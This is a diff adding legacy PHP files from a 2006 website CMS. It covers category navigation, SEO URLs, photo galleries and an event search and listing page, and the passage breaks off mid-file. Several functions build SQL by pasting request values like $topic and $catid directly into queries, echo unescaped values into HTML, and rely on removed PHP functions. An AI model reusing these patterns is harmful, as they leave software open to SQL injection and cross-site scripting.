+ if( $data[0]["parent"] == 0 )
+ {
+ return( $catid );
+ }
+ else
+ {
+ return( $data[0]["parent"] );
+ //return(GLM_TEMPLATE::get_parent($data[0]["parent"],&$DB));
+ }
+
+ }
+ else
+ {
+ return(false);
+ }
+ }
+
+ /**
+ * get_sub_nav:
+ * @param $catid:
+ * @param $DB:
+ *
+ * @return
+ * @access
+ **/
+ function get_sub_nav($catid,&$DB)
+ {
+ $parentid = GLM_TEMPLATE::get_parent($catid,&$DB);
+ //echo $parentid.'<br>';
+ $query = "SELECT id,category FROM bus_category WHERE active = 't' and parent = $parentid ORDER BY pos";
+ $data = $DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ $output = '<div id="subnav">';
+ $counter = 1;
+ foreach($data as $key=>$val)
+ {
+ if(GLM_TEMPLATE::is_sub_id($catid,$parentid,&$DB) && (GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) || $val['id'] == $catid) )
+ {
+ $output .= '<a class="current" href="'.$GLOBALS["PHP_SELF"].'?catid='.$val["id"].'">';
+ }
+ else
+ {
+ $output .= '<a href="'.$GLOBALS["PHP_SELF"].'?catid='.$val["id"].'">';
+ }
+ $output .= $val["category"];
+ $output .= '</a>';
+ if( GLM_TEMPLATE::is_sub_id($catid,$val['id'],&$DB) && GLM_TEMPLATE::has_subs($val['id'],&$DB))
+ {
+ $output .= GLM_TEMPLATE::get_sub_nav($val["id"],&$DB,$catid);
+ }
+ }
+ $output .= '</div>';
+ $output = GLM_TEMPLATE::clean_text($output);
+ echo $output;
+ }
+ return(false);
+ }
+
+ /**
+ * has_subs:
+ * @param $catid:
+ * @param $DB:
+ *
+ * @return
+ * @access
+ **/
+ function has_subs($catid,&$DB)
+ {
+ $query = "SELECT id FROM bus_category WHERE active = 't' and parent = $catid ORDER BY pos";
+ $data = $DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ return(true);
+ }
+ else
+ {
+ return(false);
+ }
+ }
+
+
+ /**
+ * get_parentid:Get the parent id for the category.
+ * @param $id: The catid for the page.
+ * @param $DB: obj
+ *
+ * @return int $parent
+ * @access
+ **/
+ function get_parentid($id,&$DB,$levels = NULL)
+ {
+ if( $id == 0 )
+ {
+ return( 0 );
+ }
+ $qs = "select parent from bus_category where id = $id";
+ $parentrow = $DB->db_auto_get_data( $qs );
+ if($parentrow[0]['parent'] == 0)
+ {
+ return($id);
+ }
+ else
+ {
+ return( GLM_TEMPLATE::get_parentid($parentrow[0]['parent'],&$DB) );
+ }
+ }
+
+ /**
+ * show_catimg:output the category image.
+ * @param $catid: The catid for the page.
+ *
+ * @return void
+ * @access
+ **/
+ function show_catimg($catid)
+ {
+ $query = "SELECT image FROM bus_category WHERE id = $catid";
+ $data = $this->DB->db_auto_get_data($query);
+ if($data[0]["image"]!="")
+ {
+ $img = '<img src="'.MIDSIZED.$data[0]["image"].'" border="0" vspace="30" hspace="0">';
+ }
+ else
+ {
+ $img = '<img src="assets/logo_small.gif" width="150" height="85" vspace="0" hspace="0" border="0" alt="Birchwood Construction"><BR>';
+ }
+ echo $img;
+ echo '<BR><img src="assets/clear.gif" height="30" width="1">';
+ }
+
+
+ /**
+ * get_catheader:output the category name.
+ * @param $catid: The catid for the page
+ * @param $DB: db obj
+ *
+ * @return void
+ * @access
+ **/
+ function get_catheader($catid,$DB)
+ {
+ $query = "SELECT category FROM bus_category WHERE id = $catid";
+ $data = $DB->db_auto_get_data($query);
+ if($data[0]['category']!="")
+ {
+ $header = strip_tags($data[0]['category']);
+ }
+ else
+ {
+ $header = '';
+ }
+ return( $header );
+ }
+
+ /**
+ * show_catheader:
+ * @param $catid:
+ *
+ * @return
+ * @access
+ **/
+ function show_catheader($catid)
+ {
+ $query = "SELECT category FROM bus_category WHERE id = $catid";
+ $data = $this->DB->db_auto_get_data($query);
+ if($data[0][category]!="")
+ {
+ $header = $data[0][category];
+ }
+ else
+ {
+ $header = ' ';
+ }
+ echo $header;
+ }
+
+ /**
+ * get_menu_string:get categories for the phplayermenu
+ *
+ * @return string
+ * @access
+ **/
+ function get_menu_string()
+ {
+ $query = "SELECT id,parent,category FROM bus_category where active = 't' ORDER BY parent,pos";
+ $data = $this->DB->db_auto_get_data($query);
+ $newdata = GLM_TEMPLATE::sort_childs($data);
+ $string = GLM_TEMPLATE::convert_to_thread($newdata,$newdata[0]);
+ return($string);
+ }
+
+ /**
+ * sort_childs:
+ * @param $threads:
+ *
+ * @return
+ * @access
+ **/
+ function sort_childs($threads)
+ {
+ foreach($threads as $var=>$value)
+ {
+ $childs[$value["parent"]][$value["id"]] = $value;
+ }
+ return($childs);
+ }
+
+ /** !WARNING this is modified to only show the first two levels
+ * convert_to_thread:
+ * @param $threads:
+ * @param $thread:
+ *
+ * @return
+ * @access
+ **/
+ function convert_to_thread($threads, $thread)
+ {
+ static $count;
+ foreach($thread as $parent=>$value)
+ {
+ $p = $this->get_base_url( $value['id'] );
+ $this->whole_thread .= str_repeat(".",$this->thread_count);
+ $this->whole_thread .= "|".$value[category];
+ $category = $this->get_seo_url( $value['id'] );
+ $this->whole_thread .= "|".URL_BASE."$p/$category";
+ $this->whole_thread .="\n";
+ if($threads[$parent])
+ {
+ if( $this->thread_count <= 1 )
+ {
+ $this->thread_count++;
+ GLM_TEMPLATE::convert_to_thread($threads, $threads[$parent]);
+ }
+ }
+ }
+
+ $count++;
+ $this->thread_count--;
+ return $this->whole_thread;
+ }
+
+ /**
+ * get_ancesters:get the ancesters for this category
+ * @param $catid: catid
+ * @param $count: starting counter
+ *
+ * @return array
+ * @access
+ **/
+ function get_ancesters($catid,$count)
+ {
+ if($catid)
+ {
+ $query = "SELECT id,category,parent
+ FROM bus_category
+ WHERE id = ".$catid."
+ AND active = 't'";
+ $res = $this->DB->db_auto_get_data($query);
+ $id = $res[0]['id'];
+ $parent = $res[0]['parent'];
+ $category = $res[0]['category'];
+ $this->ancesters[$count]['id'] = $id;
+ $this->ancesters[$count]['label'] = $category;
+
+ $url = $this->get_seo_url($id);
+ $this->ancesters[$count]['link'] = $this->get_base_url($id)."/$url";
+ GLM_TEMPLATE::get_ancesters($parent,$count+1,$conn);
+
+ return (array_reverse($this->ancesters) );
+ }
+ }
+
+ /**
+ * print_ancesters:print out the ancesters
+ * @param $catid: the id to start at.
+ *
+ * @return
+ * @access
+ **/
+ function print_ancesters($catid)
+ {
+ $string = GLM_TEMPLATE::get_ancesters($catid,0);
+ if(is_array($string))
+ {
+ if(count($string) > 1)
+ $outarray[] = '<a href="'.BASE_URL.'index.phtml">Home</a>';
+ if( strstr( $GLOBALS['PHP_SELF'], 'news.phtml' ) )
+ {
+ $end = count($string);
+ }
+ else
+ {
+ $end = count($string) - 1;
+ }
+ for($i=0;$i<$end;$i++)
+ {
+ /*
+ if( $i == count( $string ) - 1 )
+ {
+ $outarray[] = $string[$i]['label'];
+ }
+ else
+ {
+ */
+ $outarray[] = '<a href="'.BASE_URL.$string[$i]["link"].'">'.$string[$i]["label"].'</a>';
+ //}
+ }
+ if( is_array( $outarray ) && count( $outarray ) > 1 )
+ {
+ $out .= implode( " <b>»</b> ", $outarray );
+ }
+ }
+ return( '<div id="breadcrumbs">'.$out.'</div>' );
+ }
+
+ /**
+ * build_picklist:
+ * @param $fieldname:
+ * @param $data:
+ * @param $selected:
+ * @param $$type = "standard":
+ * @param $$auto = 0:
+ * @param $$width = NULL :
+ *
+ * @return
+ * @access
+ **/
+ function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+ {
+ if(!is_array($selected))
+ {
+ $sel[0] = $selected;
+ }
+ else
+ {
+ $sel = $selected;
+ }
+ if($auto == 1)
+ {
+ $autosubmit = "onChange=\"form.submit()\"";
+ }
+ if($width)
+ {
+ $autosubmit .= "style=\"width:".$width."px;\"";
+ }
+ switch( $type )
+ {
+ case "multiple":
+ $str = "<SELECT NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ if( in_array($key,$sel) )
+ {
+ $select = " SELECTED ";
+ }
+ else
+ {
+ $select = "";
+ }
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ case "simple":
+ $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+ for( $i=0 ; $i<count($data) ; $i++ )
+ {
+ $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+ }
+ break;
+
+ case "standard":
+ default:
+ $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ $select = (in_array($key,$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ }
+ $str .= "</SELECT>\n";
+ return( $str );
+ }
+
+ /**
+ * keyword_replace:
+ * @param $string:
+ *
+ * @return
+ * @access
+ **/
+ function keyword_replace($string)
+ {
+ //return($string);
+ $page = "main.phtml";
+ if($search = strstr($string,"{"))
+ {
+ if(ereg("\{([A-Za-z0-9\&\-\,\'\" ]*)\}",$string,$needle))
+ {
+ if($needle[0] != "")
+ {
+ $qs = "SELECT id,category
+ FROM bus_category
+ WHERE trim(keyword) = '".trim($needle[1])."'";
+
+ $keyres = $this->DB->db_auto_get_data($qs);
+ $parent = $this->get_parentid($keyres[0]['id'],&$this->DB);
+ $page = $this->get_base_url( $keyres[0]['id'] );
+ $page_name = $this->get_seo_url( $keyres[0]['id'] );
+ $replacement = "<a href=\"".URL_BASE.$page.'/'.$page_name."\">".$keyres[0]['category']."</a>";
+ $string = str_replace($needle[0],$replacement,$string);
+ }
+ }
+ else{
+ return($string);
+ }
+ if($search = strstr($string,"{"))
+ return($this->keyword_replace($string));
+ }
+ return($string);
+ }
+ /**
+ * getIdFromName:
+ * @param $name:
+ * @param $table:
+ * @param $DB:
+ *
+ * @return
+ * @access
+ **/
+ function get_id_from_name( $name, $table, &$DB)
+ {
+ if( $name == "" )
+ {
+ return( 0 );
+ }
+ if( is_numeric( $name ) )
+ {
+ return( $name );
+ }
+ if( ereg("(.*)/$",$name,$tmp) )
+ {
+ $name = $tmp[1];
+ }
+ if( $table == "topic" )
+ {
+ $category = "descr";
+ }
+ elseif( $table == "postype" )
+ {
+ $category = "postypedata";
+ }
+ else
+ {
+ $category = "category";
+ }
+
+ if( ereg("_([0-9]*)$",$name,$tmp ) )
+ {
+ $id = $tmp[1];
+ return( $id );
+ }
+ $name = str_replace( "-"," ",$name );
+ $query = "select id from $table where trim(lower( replace( replace( replace( replace( replace($category,'/','') ,'-',' ') ,'#','') ,'&','') ,'?',''))) = '".trim(strtolower($name))."'";
+ $data = $DB->db_auto_get_data( $query );
+ if( is_array( $data ) )
+ {
+ foreach( $data as $key=>$val )
+ {
+ $catid = $val['id'];
+ }
+ return( $catid );
+ }
+ else
+ {
+ return( 0 );
+ }
+ }
+
+ function get_base_url( $id )
+ {
+ if( $this->pages[$id] )
+ {
+ return( $this->pages[$id] );
+ }
+ else
+ {
+ return( $this->pages['default'] );
+ }
+ }
+
+ /**
+ * get_seo_url: this calls the needed function all in one to create a seo url
+ * @param $$id :
+ *
+ * @return
+ * @access
+ **/
+ function get_seo_url( $id, $slash = 1 )
+ {
+ $url = GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_name( $id, "bus_category", $this->DB ) );
+ $url = strip_tags( $url );
+ $url = htmlspecialchars( $url );
+ if( $slash )
+ {
+ $url .= '/';
+ }
+ return( $url );
+ }
+ /**
+ * getCategoryName:
+ * @param $id:
+ * @param $table:
+ * @param $&$DB :
+ *
+ * @return
+ * @access
+ **/
+ function get_category_name( $id, $table,&$DB )
+ {
+ if( !is_numeric( $id ) )
+ {
+ return( false );
+ }
+ if($table == "topic")
+ {
+ $category = "descr";
+ }
+ else
+ {
+ $category = "category";
+ }
+ $query = "select $category from $table where id = $id";
+ $data = $DB->db_auto_get_data( $query );
+ if( is_array( $data ) )
+ {
+ $query2 = "select id from $table where category = '".addslashes( trim( $data[0]['category'] ) )."'";
+ $data2 = $DB->db_auto_get_data( $query2 );
+ //echo "count of data2 = ".count($data2)."<br>";
+ //if( count($data2) > 1 )
+ //{
+ $add = '-'.$id;
+ //}
+ if( $data[0]['category'] )
+ {
+ $category = $data[0]['category'].$add;
+ }
+ elseif( $data[0]['name'])
+ {
+ $category = $data[0]['name'];
+ }
+ else
+ {
+ $category = $id;
+ }
+ return( $category );
+ }
+ }
+
+
+ /**
+ * setNameUrl:
+ * @param $$name :
+ *
+ * @return
+ * @access
+ **/
+ function set_name_url( $name )
+ {
+ $name = strtolower( trim( str_replace( " ","-",$name ) ) );
+ $name = str_replace( "/","",$name );
+ $name = str_replace( "#","",$name );
+ $name = str_replace( "&","",$name );
+ $name = str_replace( "?","",$name );
+ return( trim($name) );
+ }
+
+ /** valid email
+ Checks for a valid format and good (mx check)
+ email address.
+ @param string email the email address as string.
+ @return boolean
+ */
+ function valid_email( $email )
+ {
+ if(!$email)
+ {
+ return( false );
+ }
+ if (eregi("^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,3}$", $email, $check)) {
+ if ( getmxrr(substr(strstr($check[0], '@'), 1), $validate_email_temp) ) {
+ return TRUE;
+ }
+ }
+ return FALSE;
+ }
+/**
+ * getEventSearch:
+ *
+ * @return
+ * @access
+ **/
+ function get_event_search()
+ {
+
+ unset($emonts);
+ $month_id = array( "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" );
+
+ // Set up the $selection array to get a query box use only item fields
+ $selection = array( );
+
+ // Month part do not change
+ $qs = "SELECT bdate,date_part('month', bdate) as d1_month,
+ date_part('month', edate) as d2_month,
+ date_part('year', bdate) as d1_year,
+ date_part('year', edate) as d2_year
+ FROM event
+ WHERE edate > CURRENT_DATE
+ AND visable = 't'
+ ORDER BY bdate ASC;";
+
+ $result = $this->DB->db_exec($qs);
+
+ echo "<br><a name=\"event\"></a>
+ <form action=\"".$GLOBALS['PHP_SELF']."#event\" method=\"POST\">";
+ //echo '<input type="hidden" name="catid" value="48">';
+ for($i=0;$i<pg_numrows($result);$i++) {
+ $data = $this->DB->db_fetch_array($result,$i,PGSQL_ASSOC);
+ $s_month = $data['d1_month'];
+ $s_year = $data['d1_year'];
+ $e_month = $data['d2_month'];
+ $e_year = $data['d2_year'];
+
+ $watchdog = 20;
+ for( $y=$s_year, $m=$s_month; !($y==$e_year && $m==$e_month+1) ; ) {
+ if( $m == 13 ) {
+ $y++;
+ $m = 1;
+ }
+
+ $emonth = sprintf( "%02d %04d", $m, $y );
+ if( !isset($emonths["$emonth"]) )
+ $emonths["$emonth"] = 0;
+ $emonths["$emonth"]++;
+
+ if( $watchdog-- == 0 )
+ break 1;
+ $m++;
+ }
+ }
+
+ // Selections part
+ while( list($key,$value) = each($selection)) {
+ $qs = "SELECT
+ DISTINCT $key
+ FROM event
+ WHERE visable = 't'
+ AND edate >= CURRENT_DATE
+ ORDER BY $key;";
+
+ $result = $this->DB->db_exec($qs);
+
+ echo "<select name=\"$key\">
+ <option value=\"All\" selected>Show All $value\n";
+
+ for ($i=0;$i<pg_numrows($result);++$i) {
+ $data = pg_result($result,$i,$key);
+ if($data != "") {
+ echo "<option value=\"$data\">$data\n";
+ }
+ }
+
+ echo "</select>\n";
+ }
+ // topic part
+ $qs = "SELECT
+ DISTINCT ON (t.descr) t.id,t.descr
+ FROM topic t, event e
+ WHERE e.visable = 't'
+ AND e.edate >= CURRENT_DATE
+ AND e.topicid = t.id
+ ORDER BY t.descr";
+
+ $result = $this->DB->db_exec($qs);
+
+ echo "<select name=\"topic\">
+ <option value=\"All\" selected>Show All Topics\n";
+
+ for ($i=0;$i<pg_numrows($result);++$i) {
+ $data = $this->DB->db_fetch_array($result,$i,PGSQL_ASSOC);
+ if($data != "") {
+ echo "<option value=\"$data[id]\">$data[descr]\n";
+ }
+ }
+
+ echo "</select>\n";
+ // Month part (output)
+ $month_qs = "SELECT
+ DISTINCT bdate
+ FROM event
+ WHERE visable = 't'
+ AND edate >= CURRENT_DATE
+ ORDER BY bdate;";
+
+ $result = $this->DB->db_exec($month_qs);
+
+ echo "<select name=\"month\">";
+ if(isset($emonths) && is_array($emonths)) {
+ for(reset($emonths);$key=key($emonths);next($emonths)) {
+ $date = mktime(0,0,0,(integer)substr($key,0,2),1,substr($key,3,4));
+ $now = mktime(0,0,0,date("m"),1,date("Y"));
+ if($date>=$now) {
+ echo "<option value=\"$key\">";
+ $m = substr( $key, 0, 2 );
+ echo $month_id[$m-1]." ".substr($key,3,4)."\n";
+ }
+ }
+ }
+ echo '</select>
+ <input type="SUBMIT" value="GO" name="SUBMIT">
+ </form>';
+ }
+
+
+
+ /**
+ * format_to_time:
+ * @param $time:
+ *
+ * @return
+ * @access
+ **/
+ function format_to_time($time)
+ {
+
+ $timestamp = strtotime("today $time");
+ $newtime = date("g:i A",$timestamp);
+ return($newtime);
+ }
+
+ function getPhotoCats($catid)
+ {
+ $output = '';
+ /*
+ $query = "SELECT * FROM bus_category WHERE id = ".$catid;
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ foreach($data as $key=>$value)
+ {
+ if($value['category'])
+ $output .= '<h1>'.$value["category"].'</h1>';
+ }
+ }
+ */
+ $output .= '<p>Click an image to enter a Photo Gallery</p>';
+
+ $query2 = "SELECT * FROM bus_category WHERE parent = ".$catid." and active = 't' order by pos";
+ $data2 = $this->DB->db_auto_get_data($query2);
+ if(is_array($data2))
+ {
+ $count = 0;
+ foreach($data2 as $key=>$value)
+ {
+ if($value['image'])
+ {
+ $category = $this->get_seo_url( $value['id'] );
+ $output .= '<div class="thumb"><div
+ class="photocattitle">'.$value["category"].'</div><a href="'.BASE_URL.'gallery/'.$category.'"><img src="'.THUMB.$value["image"].'" alt="'.$value["image"].'"></a></div>';
+ }
+ if(++$count == 4)
+ $output .= '<br clear="all">';
+ }
+ }
+ return($output);
+ }
+ function getPhotos($catid)
+ {
+ $output = '';
+ $query = "SELECT * FROM bus_category WHERE id = ".$catid;
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ foreach($data as $key=>$value)
+ {
+ if($value['category'])
+ $output .= '<h1>'.$value["category"].'</h1>
+ ';
+ }
+ }
+ $output .= '<p>Click an image to enlarge</p>
+ ';
+
+ $query2 = "SELECT b.name,b.image FROM bus b LEFT OUTER JOIN bus_category_bus bcb ON
+ (bcb.busid = b.id) WHERE bcb.catid = $catid order by bcb.pos";
+ $data2 = $this->DB->db_auto_get_data($query2);
+ if(is_array($data2))
+ {
+ $count = 0;
+ foreach($data2 as $key=>$value)
+ {
+ if($value['image'])
+ {
+ if(file_exists(ORIGINAL_PATH.$value['image']))
+ {
+ $size2 = getimagesize(ORIGINAL_PATH.$value['image']);
+ $width = $size2[0] + 0;
+ $height = $size2[1] + 0;
+ }
+ $output .= '<div class="thumb"><a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$value['image'].'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);"><img src="'.THUMB.$value["image"].'" alt="'.$value["image"].'"></a><div class="phototitle">'.$value["name"].'</div></div>
+ ';
+ }
+ if(++$count == 4)
+ {
+ $output .= '<br clear="all">
+ ';
+ $count = 0;
+ }
+ }
+ }
+ return($output);
+ }
+}
+?>
--- /dev/null
+<?php
+// $Id: class_toolbox.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+class GLM_TOOLBOX
+ {
+ function GLM_TOOLBOX()
+ {
+ }
+ }
+?>
--- /dev/null
+<?php
+/******************************************************************************
+ *
+ * $Id: glm-Events-2-0.phtml,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+ *
+ ******************************************************************************
+ *
+ * Gaslight Media Toolbox output
+ * glm-Events-2-0
+ * copyright 2001
+ * Author:Steve Sutton
+ *
+ ******************************************************************************/
+/******************************************************************************
+ *
+ * Instructions -
+ * three arrays are used
+ * $row[$i][fields]
+ * $date_begin[$i][fields]
+ * $date_end[$i][fields]
+ *
+ ******************************************************************************/
+//include("setup.phtml");
+echo '<link rel="stylesheet" type="text/css" href="events.css">';
+if(!$dbd = db_connect())
+ {
+ html_error(DB_ERROR_MSG,1);
+ }
+$month_id = array( "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" );
+// Set up the $selection array to get a query box use only item fields
+$selection = array( );
+// Month part do not change
+$qs = "SELECT bdate,date_part('month', bdate) as d1_month,
+ date_part('month', edate) as d2_month,
+ date_part('year', bdate) as d1_year,
+ date_part('year', edate) as d2_year
+ FROM event
+ WHERE edate > CURRENT_DATE
+ AND visable = 't'
+ AND (hotel_id = ".HOTEL_ID." OR hotel_id = 0)
+ ORDER BY bdate ASC;";
+ $result = db_Exec($dbd,$qs);
+if(!$result)
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+echo "<br><a name=\"event\"></a>";
+if($pink)
+ {
+ echo "<h1>Pink Pony Events</h1>";
+ }
+echo "<form action=\"$PHP_SELF#event\" method=\"POST\">";
+echo '<input type="hidden" name="catid" value="11">';
+for($i=0;$i<pg_numrows($result);$i++)
+ {
+ $data = db_fetch_array($result,$i,PGSQL_ASSOC);
+ $s_month = $data['d1_month'];
+ $s_year = $data['d1_year'];
+ $e_month = $data['d2_month'];
+ $e_year = $data['d2_year'];
+ $watchdog = 20;
+ for( $y=$s_year, $m=$s_month; !($y==$e_year && $m==$e_month+1) ; )
+ {
+ if( $m == 13 )
+ {
+ $y++;
+ $m = 1;
+ }
+ $emonth = sprintf( "%02d %04d", $m, $y );
+ if( !isset($emonths["$emonth"]) )
+ {
+ $emonths["$emonth"] = 0;
+ }
+ $emonths["$emonth"]++;
+ if( $watchdog-- == 0 )
+ {
+ break 1;
+ }
+ $m++;
+ }
+ }
+// Selections part
+while( list($key,$value) = each($selection))
+ {
+ $qs = "SELECT
+ DISTINCT $key
+ FROM event
+ WHERE visable = 't'
+ AND (hotel_id = ".HOTEL_ID." OR hotel_id = 0)
+ AND edate >= CURRENT_DATE
+ ORDER BY $key;";
+ $result = db_exec($dbd,$qs);
+ if(!$result) html_error(DB_ERROR_MSG.$qs,0);
+
+ echo "<select name=\"$key\">
+ <option value=\"All\" selected>Show All $value\n";
+
+ for ($i=0;$i<pg_numrows($result);++$i)
+ {
+ $data = pg_result($result,$i,$key);
+ if($data != "")
+ {
+ echo "<option value=\"$data\">$data\n";
+ }
+ }
+
+ echo "</select>\n";
+ }
+// topic part
+$qs = "SELECT
+DISTINCT ON (t.descr) t.id,t.descr
+FROM topic t, event e
+WHERE e.visable = 't'
+AND e.edate >= CURRENT_DATE
+AND e.topicid = t.id
+AND (hotel_id = ".HOTEL_ID." OR hotel_id = 0)
+ORDER BY t.descr";
+$result = db_exec($dbd,$qs);
+if(!$result) html_error(DB_ERROR_MSG.$qs,0);
+
+echo "<select name=\"topic\">
+<option value=\"All\" selected>Show All Topics\n";
+
+for ($i=0;$i<pg_numrows($result);++$i)
+ {
+ $data = db_fetch_array($result,$i,PGSQL_ASSOC);
+ if($data != "")
+ {
+ echo "<option value=\"$data[id]\">$data[descr]\n";
+ }
+ }
+
+echo "</select>\n";
+// Month part (output)
+$month_qs = "SELECT
+DISTINCT bdate
+FROM event
+WHERE visable = 't'
+AND edate >= CURRENT_DATE
+AND (hotel_id = ".HOTEL_ID." OR hotel_id = 0)
+ORDER BY bdate;";
+
+$result = db_exec($dbd, $month_qs);
+if(!$result) html_error(DB_ERROR_MSG.$month_qs,0);
+echo "<select name=\"month\">
+<option value=\"All\" selected>Show All Months\n";
+if(isset($emonths) && is_array($emonths))
+ {
+ for(reset($emonths);$key=key($emonths);next($emonths))
+ {
+ $date = mktime(0,0,0,(integer)substr($key,0,2),1,substr($key,3,4));
+ $now = mktime(0,0,0,date("m"),1,date("Y"));
+ if($date>=$now)
+ {
+ echo "<option value=\"$key\">";
+ $m = substr( $key, 0, 2 );
+ echo $month_id[$m-1]." ".substr($key,3,4)."\n";
+ }
+ }
+ }
+
+?>
+<!--- #EndCalendarofEventsSearch -->
+</select>
+<input type="SUBMIT" value="GO" name="SUBMIT">
+</form>
+ <?
+if(!isset($month))
+ {
+ $month = "All";//date("m Y");
+ }
+if(!$_POST["topic"] && !$_POST["month"])
+ {
+ $stick = " LIMIT 1 OFFSET 1";
+ }
+$qs = "SELECT header,
+ date_part('month',bdate) as mon,
+ date_part('day',bdate) as day,
+ date_part('year',bdate) as yr,
+ date_part('month',edate) as mon2,
+ date_part('day',edate) as day2,
+ date_part('year',edate) as yr2,
+ bdate::date as sdate, edate::date as edate,
+ btime,etime, descr,loc,contact,email,url,img,event.id
+ FROM event
+ WHERE visable = 't'
+ AND edate >= CURRENT_DATE
+ AND (hotel_id = ".HOTEL_ID." OR hotel_id = 0)";
+ if(isset($topic) && $topic != "All")
+ {
+ $qs .= "\nAND topicid = $topic";
+ }
+if($month != "All")
+ {
+ $m = substr($month,0,2);
+ $y = substr($month,3,4);
+ $smonth = date("m-d-Y",mktime(0,0,0,$m,1,$y));
+ $emonth = date("m-d-Y",mktime(0,0,0,$m+1,0,$y));
+ $qs .= "\nAND edate >= '$smonth'
+ AND bdate <= '$emonth'";
+ }
+$qs .= "\nORDER BY bdate ASC $stick";
+if(!$res = db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+while($result = pg_fetch_array($res))
+ {
+ $datares[] = $result;
+ }
+if(is_array($datares))
+ {
+ foreach($datares as $eventkey=>$eventval)
+ {
+ //$eventrow["$eventval[mon]"][] = $datares[$eventkey];
+ for($i = (int)$eventval["mon"];$i <= (int)$eventval["mon2"];$i++)
+ {
+ // if monh exists then only show that month
+ if($month == "All" || ( (int)$month == (int)$i ) )
+ {
+ $eventrow["$i"][] = $datares[$eventkey];
+ }
+ }
+ }
+ }
+if(is_array($eventrow))
+ {
+ $display_month = "";
+ foreach($eventrow as $ekey=>$row)
+ {
+ if((int)$display_month != (int)$ekey)
+ {
+ echo '<h1 class="eventh1">'.date("F",mktime(0,0,1,$ekey,1,date("Y"))).'</h1>';
+ }
+ $display_month = (int)$ekey;
+ foreach($row as $key=>$value)
+ {
+ if($value['sdate'])
+ {
+ $sdate = strtotime($value["sdate"]);
+ $edate = strtotime($value["edate"]);
+ $thedate = GLM_TEMPLATE::getEventDate($sdate,$edate,"timestamp");
+ }
+ else
+ {
+ $thedata = '';
+ }
+ if($value['img'])
+ {
+ $img = "<img src=\"".MIDSIZED.$value['img']."\" align=\"right\" vspace=\"5\" hspace=\"7\">";
+ }
+ else
+ {
+ $img = "";
+ }
+ if($value['email'] && $value['contact'])
+ {
+ $email = "Contact: <a class=\"link\" href=\"mailto:".$value['email']."\">".$value['contact']."</a><br>";
+ }
+ elseif($value['email'] && !$value['contact'])
+ {
+ $email = "Contact:<a class=\"link\" href=\"mailto:".$value['email']."\">".$value['email']."</a><br>";
+ }
+ elseif($value['contact'] && !$value['email'])
+ {
+ $email = "Contact:>".$value['contact']."<br>";
+ }
+ else
+ {
+ $email = "";
+ }
+ if($value['url'])
+ {
+ $url = "<div class=\"eventurl\">Web Site: <a class=\"link\" href=\"http://".$value['url']."\"
+ target=\"_BLANK\">".$value['url']."</a></div>";
+ }
+ else
+ {
+ $url = "";
+ }
+ if($value['btime'] && $value['etime'])
+ {
+ $time = "Time: ".GLM_TEMPLATE::formatToTime($value['btime'])." To ".GLM_TEMPLATE::formatToTime($value['etime'])."<br>";
+ }
+ elseif($value['btime'] && !$value['etime'])
+ {
+ $time = "Time: ".GLM_TEMPLATE::formatToTime($value['btime'])."<br>";
+ }
+ else
+ {
+ $time = "";
+ }
+ if($img)
+ {
+ echo $img;
+ }
+ echo "<div class=\"eventheader\"><b>".$value['header']."</b></div>";
+ echo '<div><span class="eventdate">Date: </span>'.$thedate.'</div>';
+ echo "<div class=\"text\">".$time."</div>";
+ if($value['topic'])
+ {
+ echo "<div class=\"text\">Topic:".$value['topic']."</div>";
+ }
+ if($value['loc'])
+ {
+ echo '<span class="eventloc">Location: </span><span
+ class="eventvalue">'.$value['loc']."<span><br>";
+ }
+ echo $email."<div class=\"text\">";
+ if($value['descr'])
+ {
+ echo nl2br($value['descr']);
+ }
+ echo $url."<br clear=\"all\">";
+ //if(!$eventid)
+ //echo "</div><div class=\"homeeventmore\"><a
+ // href=\"events.phtml?pink=$pink&eventid=$value[id]\">details...</a></div><br clear=\"all\">";
+ }
+ }
+ }
+?>
--- /dev/null
+<?
+/*************************************************************************************
+ *
+ * $Id: glm-Events-calendar-2-0.phtml,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+ *
+ ************************************************************************************
+ *
+ * Event Calendar display "eventcalendar.inc"
+ * Author: Steve Sutton
+ * Copyright Gaslight Media(R)
+ *
+ ************************************************************************************
+ *
+ * For use with glm-Events-2-0
+ *
+ ************************************************************************************/
+//include_once("setup.phtml");
+$LEFTLINK = '<img src="'.BASE_URL.'images/left.gif" class="calleftarrow" border="0">';
+$RIGHTLINK = '<img src="'.BASE_URL.'images/right.gif" class="calrightarrow" border="0">';
+$dbd = db_connect(CONN_STR);
+function lastDayOfMonth($timestamp = ''){
+ if($timestamp=='') $timestamp=time();
+ return(
+ mktime(0,0,0,
+ date("m",$timestamp)+1,
+ 1,
+ date("Y",$timestamp)
+ )-3600*24);
+}
+
+function firstDayOfMonth($timestamp=''){
+ if($timestamp=='') $timestamp=time();
+ return(mktime(0,0,0,
+ date("m",$timestamp),
+ 1,
